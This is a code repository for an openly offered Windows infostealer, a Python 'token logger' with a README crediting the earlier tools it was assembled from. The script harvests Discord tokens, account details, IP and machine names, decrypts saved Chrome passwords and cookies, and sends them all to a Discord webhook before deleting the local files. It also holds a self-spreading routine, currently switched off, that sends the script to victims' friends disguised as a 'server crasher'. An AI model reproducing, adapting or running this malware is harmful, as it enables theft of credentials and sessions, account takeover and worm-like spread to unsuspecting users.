├── Advanced token logger.py ├── README.md └── requirements.txt /Advanced token logger.py: -------------------------------------------------------------------------------- 1 | import os 2 | if os.name != "nt": 3 | exit() 4 | import json 5 | import base64 6 | import sqlite3 7 | import win32crypt 8 | from Crypto.Cipher import AES 9 | import shutil 10 | from codecs import encode 11 | import getpass 12 | from re import findall 13 | from json import loads, dumps 14 | from base64 import b64decode 15 | from subprocess import Popen, PIPE 16 | from urllib.request import Request, urlopen 17 | from datetime import datetime 18 | from threading import Thread 19 | from time import sleep 20 | from sys import argv 21 | from pathlib import Path 22 | from discord_webhook import DiscordWebhook, DiscordEmbed 23 | import requests 24 | import random 25 | import sys 26 | 27 | LOCAL = os.getenv("LOCALAPPDATA") 28 | ROAMING = os.getenv("APPDATA") 29 | PATHS = { 30 | "Discord" : ROAMING + "\\Discord", 31 | "Discord Canary" : ROAMING + "\\discordcanary", 32 | "Discord PTB" : ROAMING + "\\discordptb", 33 | "Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default", 34 | "Opera" : ROAMING + "\\Opera Software\\Opera Stable", 35 | "Brave" : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default", 36 | "Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default" 37 | } 38 | def getheaders(token=None, content_type="application/json"): 39 | headers = { 40 | "Content-Type": content_type, 41 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11" 42 | } 43 | if token: 44 | headers.update({"Authorization": token}) 45 | return headers 46 | def getuserdata(token): 47 | try: 48 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode()) 49 | except: 50 | pass 51 | def gettokens(path): 52 | path += "\\Local Storage\\leveldb" 53 | tokens = [] 54 | for file_name in os.listdir(path): 55 | if not file_name.endswith(".log") and not file_name.endswith(".ldb"): 56 | continue 57 | for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]: 58 | for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"): 59 | for token in findall(regex, line): 60 | tokens.append(token) 61 | return tokens 62 | def getdeveloper(): 63 | dev = "wodx" 64 | try: 65 | dev = urlopen(Request("https://pastebin.com/raw/ssFxiejv")).read().decode() 66 | except: 67 | pass 68 | return dev 69 | def getip(): 70 | ip = "None" 71 | try: 72 | ip = urlopen(Request("https://api.ipify.org")).read().decode().strip() 73 | except: 74 | pass 75 | return ip 76 | def getavatar(uid, aid): 77 | url = f"https://cdn.discordapp.com/avatars/{uid}/{aid}.gif" 78 | try: 79 | urlopen(Request(url)) 80 | except: 81 | url = url[:-4] 82 | return url 83 | def gethwid(): 84 | p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) 85 | return (p.stdout.read() + p.stderr.read()).decode().split("\n")[1] 86 | def getfriends(token): 87 | try: 88 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode()) 89 | except: 90 | pass 91 | def getchat(token, uid): 92 | try: 93 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"] 94 | except: 95 | pass 96 | def has_payment_methods(token): 97 | try: 98 | return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0) 99 | except: 100 | pass 101 | def send_message(token, chat_id, form_data): 102 | try: 103 | urlopen(Request(f"https://discordapp.com/api/v6/channels/{chat_id}/messages", headers=getheaders(token, "multipart/form-data; boundary=---------------------------325414537030329320151394843687"), data=form_data.encode())).read().decode() 104 | except: 105 | pass 106 | def spread(token, form_data, delay): 107 | return # Remove to re-enabled 108 | for friend in getfriends(token): 109 | try: 110 | chat_id = getchat(token, friend["id"]) 111 | send_message(token, chat_id, form_data) 112 | except Exception as e: 113 | pass 114 | sleep(delay) 115 | 116 | 117 | def main(): 118 | cache_path = ROAMING + "\\.cache~$" 119 | prevent_spam = True 120 | self_spread = True 121 | embeds = [] 122 | working = [] 123 | checked = [] 124 | already_cached_tokens = [] 125 | working_ids = [] 126 | ip = getip() 127 | pc_username = os.getenv("UserName") 128 | pc_name = os.getenv("COMPUTERNAME") 129 | user_path_name = os.getenv("userprofile").split("\\")[2] 130 | developer = getdeveloper() 131 | for platform, path in PATHS.items(): 132 | if not os.path.exists(path): 133 | continue 134 | for token in gettokens(path): 135 | if token in checked: 136 | continue 137 | checked.append(token) 138 | uid = None 139 | if not token.startswith("mfa."): 140 | try: 141 | uid = b64decode(token.split(".")[0].encode()).decode() 142 | except: 143 | pass 144 | if not uid or uid in working_ids: 145 | continue 146 | user_data = getuserdata(token) 147 | if not user_data: 148 | continue 149 | working_ids.append(uid) 150 | working.append(token) 151 | username = user_data["username"] + "#" + str(user_data["discriminator"]) 152 | user_id = user_data["id"] 153 | avatar_id = user_data["avatar"] 154 | avatar_url = getavatar(user_id, avatar_id) 155 | email = user_data.get("email") 156 | phone = user_data.get("phone") 157 | nitro = bool(user_data.get("premium_type")) 158 | billing = bool(has_payment_methods(token)) 159 | embed = { 160 | "color": 0x7289da, 161 | "fields": [ 162 | { 163 | "name": "**Account Info**", 164 | "value": f'Email: {email}\nPhone: {phone}\nNitro: {nitro}\nBilling Info: {billing}', 165 | "inline": True 166 | }, 167 | { 168 | "name": "**PC Info**", 169 | "value": f'IP: {ip}\nUsername: {pc_username}\nPC Name: {pc_name}\nToken Location: {platform}', 170 | "inline": True 171 | }, 172 | { 173 | "name": "**Token**", 174 | "value": token, 175 | "inline": False 176 | }, 177 | ], 178 | "author": { 179 | "name": f"{username} ({user_id})", 180 | "icon_url": avatar_url 181 | }, 182 | "footer": { 183 | "text": f"Token grabber by Rezizt" 184 | } 185 | } 186 | embeds.append(embed) 187 | with open(cache_path, "a") as file: 188 | for token in checked: 189 | if not token in already_cached_tokens: 190 | file.write(token + "\n") 191 | if len(working) == 0: 192 | working.append('123') 193 | webhook = { 194 | "content": "", 195 | "embeds": embeds, 196 | "username": "Rezizt tf you doing", 197 | "avatar_url": "https://discordapp.com/assets/5ccabf62108d5a8074ddd95af2211727.png" 198 | } 199 | try: 200 | urlopen(Request("WEBHOOK HERE", data=dumps(webhook).encode(), headers=getheaders())) 201 | except: 202 | pass 203 | if self_spread: 204 | for token in working: 205 | with open(argv[0], encoding="utf-8") as file: 206 | content = file.read() 207 | payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="file"; filename="{__file__}"\nContent-Type: text/plain\n\n{content}\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\nserver crasher. python download: https://www.python.org/downloads\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="tts"\n\nfalse\n-----------------------------325414537030329320151394843687--' 208 | Thread(target=spread, args=(token, payload, 7500 / 1000)).start() 209 | try: 210 | main() 211 | except Exception as e: 212 | print(e) 213 | pass 214 | 215 | def get_master_key(): 216 | # this finds the key needed to decrypt the Local Data passwords 217 | with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f: 218 | local_state = f.read() 219 | local_state = json.loads(local_state) 220 | # iterate through the file and find the key which is to the right of os_crypt 221 | master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) 222 | master_key = master_key[5:] # removing DPAPI 223 | master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1] # sqlite3 decryption 224 | try: 225 | return master_key # return the key in plain text 226 | except: 227 | exit() 228 | 229 | def decrypt_payload(cipher, payload): 230 | try: 231 | return cipher.decrypt(payload) 232 | except: 233 | pass 234 | 235 | def generate_cipher(aes_key, iv): 236 | try: 237 | return AES.new(aes_key, AES.MODE_GCM, iv) 238 | except: 239 | pass 240 | 241 | def decrypt_password(buff, master_key): 242 | try: 243 | iv = buff[3:15] 244 | payload = buff[15:] 245 | cipher = generate_cipher(master_key, iv) 246 | decrypted_pass = decrypt_payload(cipher, payload) 247 | decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes 248 | try: 249 | return decrypted_pass 250 | except: 251 | pass 252 | 253 | except Exception as e: 254 | # print("Probably saved password from Chrome version older than v80\n") 255 | # print(str(e)) 256 | decrypted_pass = win32crypt.CryptUnprotectData(buff, None, None, None, 0) #Tuple 257 | return str(decrypted_pass[1]) 258 | 259 | 260 | if __name__ == '__main__': 261 | 262 | master_key = get_master_key() 263 | login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data' 264 | shutil.copy2(login_db, "Loginvault.db") #making a temp copy since Login Data DB is locked while Chrome is running 265 | conn = sqlite3.connect("Loginvault.db") 266 | cursor = conn.cursor() 267 | 268 | try: 269 | # grab the needed information 270 | cursor.execute("SELECT action_url, username_value, password_value FROM logins") 271 | # make a local file with the login data 272 | passfile = open("passwords.txt", "w") 273 | for r in cursor.fetchall(): 274 | # these 2 are already in plain text 275 | url = r[0] 276 | username = r[1] 277 | encrypted_password = r[2] 278 | # now decrypt the password using the master key via AES encryption / decryption 279 | decrypted_password = decrypt_password(encrypted_password, master_key) 280 | #print("URL: " + url + "\nUsername: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n") 281 | # sort it and make it look more organised 282 | passfile.write("URL: " + url + "\nUsername: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n") 283 | # finish the files 284 | passfile.close() 285 | conn.close() 286 | 287 | except Exception as e: 288 | pass 289 | 290 | def get_master_key(): 291 | # this finds the key needed to decrypt the Local Data passwords 292 | with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f: 293 | local_state = f.read() 294 | local_state = json.loads(local_state) 295 | # iterate through the file and find the key which is to the right of os_crypt 296 | master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) 297 | master_key = master_key[5:] # removing DPAPI 298 | master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1] # sqlite3 decryption 299 | return master_key # return the key in plain text 300 | 301 | def decrypt_payload(cipher, payload): 302 | return cipher.decrypt(payload) 303 | 304 | 305 | def generate_cipher(aes_key, iv): 306 | return AES.new(aes_key, AES.MODE_GCM, iv) 307 | 308 | 309 | def decrypt_cookies(buff, master_key): 310 | try: 311 | iv = buff[3:15] 312 | payload = buff[15:] 313 | cipher = generate_cipher(master_key, iv) 314 | decrypted_cook = decrypt_payload(cipher, payload) 315 | decrypted_cook = decrypted_cook[:-16].decode() # remove suffix bytes 316 | return decrypted_cook 317 | 318 | except Exception as e: 319 | # print("Probably saved password from Chrome version older than v80\n") 320 | # print(str(e)) 321 | decrypted_cook = win32crypt.CryptUnprotectData(buff, None, None, None, 0) #Tuple 322 | return str(decrypted_cook[1]) 323 | 324 | 325 | if __name__ == '__main__': 326 | 327 | master_key = get_master_key() 328 | try: 329 | if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): 330 | shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') 331 | conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') 332 | cursor = conn.cursor() 333 | cursor.execute('SELECT encrypted_value,host_key,name FROM Cookies;') 334 | except: 335 | pass 336 | try: 337 | # grab the needed information 338 | cursor.execute('SELECT encrypted_value,host_key,name FROM Cookies;') 339 | # make a local file with the login data 340 | passfile = open('cookies' + '.txt', "w") 341 | for r in cursor.fetchall(): 342 | # these 2 are already in plain text 343 | url = r[1] 344 | username = r[2] 345 | encrypted_cookies = r[0] 346 | # now decrypt the password using the master key via AES encryption / decryption 347 | decrypted_cookies = decrypt_cookies(encrypted_cookies, master_key) 348 | #print("URL: " + url + "\nUsername: " + username + "\nPassword: " + decrypted_cookies + "\n" + "*" * 50 + "\n") 349 | # sort it and make it look more organised 350 | passfile.write("URL: " + url + "\nWebsite: " + username + "\nCookie: " + decrypted_cookies + "\n" + "-" * 50 + "\n") 351 | # finish the files 352 | passfile.close() 353 | conn.close() 354 | 355 | except Exception as e: 356 | print(e) 357 | 358 | webhook = DiscordWebhook(url='WEBHOOK HERE', username="Passwords and cookies") 359 | 360 | # send two images 361 | with open("cookies.txt", "rb") as f: 362 | webhook.add_file(file=f.read(), filename='cookies.txt') 363 | with open("passwords.txt", "rb") as f: 364 | webhook.add_file(file=f.read(), filename='passwords.txt') 365 | 366 | response = webhook.execute() 367 | 368 | os.remove("cookies.txt") 369 | os.remove("passwords.txt") 370 | os.remove("Loginvault.db") 371 | 372 | 373 | 374 | 375 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Advanced-token-logger 2 | This is a advanced token logger by checksum and password stealer by teilaw and edited by me 3 | 4 | This uses checksum's token grabber mixed teilaw's password and cookie stealer. Credit goes to him for the token grabber and credit for teilaw for the password stealer i just put them together and made them webhook not dropbox! 5 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pycryptodome 2 | pypiwin32 3 | random 4 | requests 5 | discord_webhook 6 | getpass 7 | --------------------------------------------------------------------------------